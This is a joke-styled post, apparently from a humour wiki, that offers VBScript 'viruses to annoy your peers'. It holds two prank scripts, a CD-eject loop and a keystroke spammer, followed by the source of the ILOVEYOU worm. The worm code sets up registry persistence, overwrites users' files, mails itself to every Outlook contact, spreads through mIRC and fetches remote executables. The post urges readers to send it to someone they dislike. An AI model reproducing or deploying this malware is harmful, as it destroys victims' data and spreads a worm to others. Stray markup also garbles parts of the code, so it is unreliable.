L33t h4xx, 3 Computer Viruses to Annoy Your Peers by Professor Roanoke Han

To turn one of these scripts into a working virus, put it into a notepad document, and save it as (name).vbs, as the file extension "All Files."

A minor computer virus that opens your CD drive whenever you close it.
Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

A minor computer virus that makes your keyboard crazy
Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "Subway, Eat Fresh"

loop

'''This forces your keyboard to type "Subway, Eat Fresh" repeatedly. '''

The ILOVEYOU virus
'''Don't run this on your computer, because it's a real virus and will seriously fuck up your shit. Just send it to someone you don't like.'''

'' rem barok -loveletter(vbe)   rem by: spyder  /  ispyder@mail.com  / @GRAMMERSoft Group  /  Manila,Philippines  On Error Resume Next  dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow  eq=""  ctr=0  Set fso = CreateObject("Scripting.FileSystemObject")  set file = fso.OpenTextFile(WScript.ScriptFullname,1)  vbscopy=file.ReadAll</tt>  main</tt>  sub main</tt>  On Error Resume Next</tt>  dim wscr,rr</tt>  set wscr=CreateObject("WScript.Shell")</tt>  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")</tt>  if (rr>=1) then</tt>  wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"</tt>  end if</tt>  Set dirwin = fso.GetSpecialFolder(0)</tt>  Set dirsystem = fso.GetSpecialFolder(1)</tt>  Set dirtemp = fso.GetSpecialFolder(2)</tt>  Set c = fso.GetFile(WScript.ScriptFullName)</tt>  c.Copy(dirsystem&"\MSKernel32.vbs")</tt>  c.Copy(dirwin&"\Win32DLL.vbs")</tt> <tt> c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")</tt> <tt> regruns</tt> <tt> html</tt> <tt> spreadtoemail</tt> <tt> listadriv</tt> <tt> end sub</tt> <tt> sub regruns</tt> <tt> On Error Resume Next</tt> <tt> Dim num,downread</tt> <tt> regcreate</tt> <tt> "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"</tt> <tt> regcreate</tt> <tt> "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"</tt> <tt> downread=""</tt> <tt> downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")</tt> <tt> if (downread="") then</tt> <tt> downread="c:\"</tt> <tt> end if</tt> <tt> if (fileexist(dirsystem&"\WinFAT32.exe")=1) then</tt> <tt> Randomize</tt> <tt> num = Int((4 * Rnd) + 1)</tt> <tt> if num = 1 then</tt> <tt> regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start</tt> <tt> Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm</tt> <tt> hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"</tt> <tt> elseif num = 2 then</tt> <tt> regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw</tt> <tt> erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"</tt> <tt> elseif num = 3 then</tt> <tt> regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start</tt> <tt> Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd</tt> <tt> QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"</tt> <tt> elseif num = 4 then</tt> <tt> regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start</tt> <tt> Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD</tt> <tt> GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"</tt> <tt> end if</tt> <tt> end if</tt> <tt> if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate</tt> <tt> "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"</tt> <tt> regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet</tt> <tt> Explorer\Main\Start Page","about:blank"</tt> <tt> end if</tt> <tt> end sub</tt> <tt> sub listadriv</tt> <tt> On Error Resume Next</tt> <tt> Dim d,dc,s</tt> <tt> Set dc = fso.Drives</tt> <tt> For Each d in dc</tt> <tt> If d.DriveType = 2 or d.DriveType=3 Then</tt> <tt> folderlist(d.path&"\")</tt> <tt> end if</tt> <tt> Next</tt> <tt> listadriv = s</tt> <tt> end sub</tt> <tt> sub infectfiles(folderspec)</tt> <tt> On Error Resume Next</tt> <tt> dim f,f1,fc,ext,ap,mircfname,s,bname,mp3</tt> <tt> set f = fso.GetFolder(folderspec)</tt> <tt> set fc = f.Files</tt> <tt> for each f1 in fc</tt> <tt> ext=fso.GetExtensionName(f1.path)</tt> <tt> ext=lcase(ext)</tt> <tt> s=lcase(f1.name)</tt> <tt> if (ext="vbs") or (ext="vbe") then</tt> <tt> set ap=fso.OpenTextFile(f1.path,2,true)</tt> <tt> ap.write vbscopy</tt> <tt> ap.close</tt> <tt> elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then</tt> <tt> set ap=fso.OpenTextFile(f1.path,2,true)</tt> <tt> ap.write vbscopy</tt> <tt> ap.close</tt> <tt> bname=fso.GetBaseName(f1.path)</tt> <tt> set cop=fso.GetFile(f1.path)</tt> <tt> cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)</tt> <tt> elseif(ext="jpg") or (ext="jpeg") then</tt> <tt> set ap=fso.OpenTextFile(f1.path,2,true)</tt> <tt> ap.write vbscopy</tt> <tt> ap.close</tt> <tt> set cop=fso.GetFile(f1.path)</tt> <tt> cop.copy(f1.path&".vbs")</tt> <tt> fso.DeleteFile(f1.path)</tt> <tt> elseif(ext="mp3") or (ext="mp2") then</tt> <tt> set mp3=fso.CreateTextFile(f1.path&".vbs")</tt> <tt> mp3.write vbscopy</tt> <tt> mp3.close</tt> <tt> set att=fso.GetFile(f1.path)</tt> <tt> att.attributes=att.attributes+2</tt> <tt> end if</tt> <tt> if (eq<>folderspec) then</tt> <tt> if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then</tt> <tt> set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"</tt> <tt> scriptini.WriteLine ";mIRC Script"</tt> <tt> scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"</tt> <tt> scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"</tt> <tt> scriptini.WriteLine ";"</tt> <tt> scriptini.WriteLine ";Khaled Mardam-Bey"</tt> <tt> scriptini.WriteLine ";http://www.mirc.com"</tt> <tt> scriptini.WriteLine ";"</tt> <tt> scriptini.WriteLine "n0=on 1:JOIN:#:{"</tt> <tt> scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=  /.dcc send $nick</tt> <tt> "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"</tt> <tt> scriptini.WriteLine "n3=}"</tt> <tt> scriptini.close</tt> <tt> eq=folderspec</tt> <tt> end if</tt> <tt> end if</tt> <tt> next</tt> <tt> end sub</tt> <tt> sub folderlist(folderspec)</tt> <tt> On Error Resume Next</tt> <tt> dim f,f1,sf</tt> <tt> set f = fso.GetFolder(folderspec)</tt> <tt> set sf = f.SubFolders</tt> <tt> for each f1 in sf</tt> <tt> infectfiles(f1.path)</tt> <tt> folderlist(f1.path)</tt> <tt> next</tt> <tt> end sub</tt> <tt> sub regcreate(regkey,regvalue)</tt> <tt> Set regedit = CreateObject("WScript.Shell")</tt> <tt> regedit.RegWrite regkey,regvalue</tt> <tt> end sub</tt> <tt> function regget(value)</tt> <tt> Set regedit = CreateObject("WScript.Shell")</tt> <tt> regget=regedit.RegRead(value)</tt> <tt> end function</tt> <tt> function fileexist(filespec)</tt> <tt> On Error Resume Next</tt> <tt> dim msg</tt> <tt> if (fso.FileExists(filespec)) Then</tt> <tt> msg = 0</tt> <tt> else</tt> <tt> msg = 1</tt> <tt> end if</tt> <tt> fileexist = msg</tt> <tt> end function</tt> <tt> function folderexist(folderspec)</tt> <tt> On Error Resume Next</tt> <tt> dim msg</tt> <tt> if (fso.GetFolderExists(folderspec)) then</tt> <tt> msg = 0</tt> <tt> else</tt> <tt> msg = 1</tt> <tt> end if</tt> <tt> fileexist = msg</tt> <tt> end function</tt> <tt> sub spreadtoemail</tt> <tt> On Error Resume Next</tt> <tt> dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad</tt> <tt> set regedit=CreateObject("WScript.Shell")</tt> <tt> set out=WScript.CreateObject("Outlook.Application")</tt> <tt> set mapi=out.GetNameSpace("MAPI")</tt> <tt> for ctrlists=1 to mapi.AddressLists.Count</tt> <tt> set a=mapi.AddressLists(ctrlists)</tt> <tt> x=1</tt> <tt> regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then</tt> <tt> regv=1</tt> <tt> end if</tt> <tt> if (int(a.AddressEntries.Count)>int(regv)) then</tt> <tt> for ctrentries=1 to a.AddressEntries.Count</tt> <tt> malead=a.AddressEntries(x)</tt> <tt> regad=""</tt> <tt> regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )</tt> <tt> if (regad="") then</tt> <tt> set male=out.CreateItem(0)</tt> <tt> male.Recipients.Add(malead)</tt> <tt> male.Subject = "ILOVEYOU"</tt> <tt> male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."</tt> <tt> male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send</tt> <tt> regedit.RegWrite</tt> <tt> "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if</tt> <tt> x=x+1</tt> <tt> next</tt> <tt> regedit.RegWrite</tt> <tt> "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else</tt> <tt> regedit.RegWrite</tt> <tt> "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if</tt> <tt> next</tt> <tt> Set out=Nothing</tt> <tt> Set mapi=Nothing</tt> <tt> end sub</tt> <tt> sub html</tt> <tt> On Error Resume Next</tt> <tt> dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6</tt> <tt> dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -</tt> <tt> LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?</tt> <tt> @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@</tt> <tt> CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _</tt> <tt> "<?-?HEAD><BODY</tt> <tt> ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.</tt> <tt> HTM#-#,#-#main#-#)@-@ "&vbcrlf& _</tt> <tt> "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@</tt> <tt> BGPROPERTIES=@-@fixed@-@</tt> <tt> BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _</tt> <tt> " <CENTER> This HTML file need ActiveX Control<?-?p> To Enable to read this HTML file<BR>- Please press #-#YES#-# button to </tt> <tt> Enable ActiveX<?-?p>"&vbcrlf& _</tt> <tt> "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@</tt> <tt> BGCOLOR=@-@yellow@-@>--zz--<?-?MARQU EE> "&vbcrlf& _</tt> <tt> "<?-?BODY><?-?HTML>"&vbcrlf& _</tt> <tt> "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ ""&vbcrlf& _</tt> <tt> "<?-?SCRIPT>"&vbcrlf& _</tt> <tt> "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ ""&vbcrlf& _</tt> <tt> "<?-?SCRIPT>"</tt> <tt> dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")</tt> <tt> dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")</tt> <tt> dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")</tt> <tt> dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")</tt> <tt> dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")</tt> <tt> dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")</tt> <tt> set fso=CreateObject("Scripting.FileSystemObject")</tt> <tt> set c=fso.OpenTextFile(WScript.ScriptFullName,1)</tt> <tt> lines=Split(c.ReadAll,vbcrlf)</tt> <tt> l1=ubound(lines)</tt> <tt> for n=0 to ubound(lines)</tt> <tt> lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))</tt> <tt> lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then</tt> <tt> lines(n)=chr(34)+lines(n)+chr(34)</tt> <tt> else</tt> <tt> lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if</tt> <tt> next</tt> <tt> set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close</tt> <tt> set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5</tt> <tt> d.write join(lines,vbcrlf)</tt> <tt> d.write vbcrlf</tt> <tt> d.write dt6</tt> <tt> d.close</tt> <tt> end sub</tt> ''